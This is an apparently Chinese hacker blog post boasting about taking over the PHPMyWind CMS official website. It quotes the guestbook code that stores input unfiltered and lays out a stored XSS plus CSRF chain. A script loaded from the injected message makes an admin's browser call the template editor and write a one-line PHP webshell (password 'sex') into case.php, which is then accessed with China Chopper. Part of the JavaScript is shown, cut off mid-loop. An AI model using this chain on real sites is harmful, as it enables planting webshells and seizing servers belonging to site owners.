phpmywind xss & csrf getShell 拿下官网

phpmywind xss & csrf getShell 拿下官网

审计代码吧,首先看后台能不能getShell

直接编辑 php文件 写入一句话
所有Sql 语句全部经过一个非常变态的函数

phpmywind xss & csrf getShell 拿下官网

phpmywind xss & csrf getShell 拿下官网

80sec 写的,绕不鸟,群里面叫了几句,无果, 压力肯大
Sql injection不可能了,看到 message.php

if(@$action == 'add')
{
	$sql = "INSERT INTO `#@__message` (nickname, contact, content, orderid, posttime, htop, rtop, checkinfo, ip) VALUES ('$nickname', '$contact', '$content', '', '".GetMkTime(time())."', '', '', 'false', '".gethostbyname($_SERVER['REMOTE_ADDR'])."')";
	if($dosql->ExecNoneQuery($sql))
	{
		ShowMsg('留言成功,感谢您的支持!','message.php');
		exit();
	}
}

留言内容没有任何过滤直接入库….典型的 xss

Csrf 利用
留言去xss配合后台的模板编辑getshell,当管理员点击查看留言时,劫持管理员的浏览器(csrf)模板写入一句话
,额,先写远程的js代码吧
当管理员后台点击,留言模块管理,会在根目录生成一句话
留言标题处写入

Mywind.js代码

var request = false;
if(window.XMLHttpRequest) {
request = new XMLHttpRequest();
if(request.overrideMimeType) {
request.overrideMimeType('text/xml');
}
} 
else if (window.ActiveXObject) {
var versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0','Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
for(var i=0; i

简单解释一下上面的js ,首先改造出兼容的 js ajax(不知道ajax 的童鞋 google it)
然后通过 ajax向/admin/editfile_do.php?action=update&filename=case.php 提交数据

Content = 

写入 case.php 密码 sex()

留言代码

phpmywind xss & csrf getShell 拿下官网

接下来就是等了 ,这个是个新出的cms,管理员肯定会去猛看留言,每天访问 case.php

终于有一天
phpmywind xss & csrf getShell 拿下官网
一片空白,很明显successd

phpmywind xss & csrf getShell 拿下官网

菜刀上,结束了……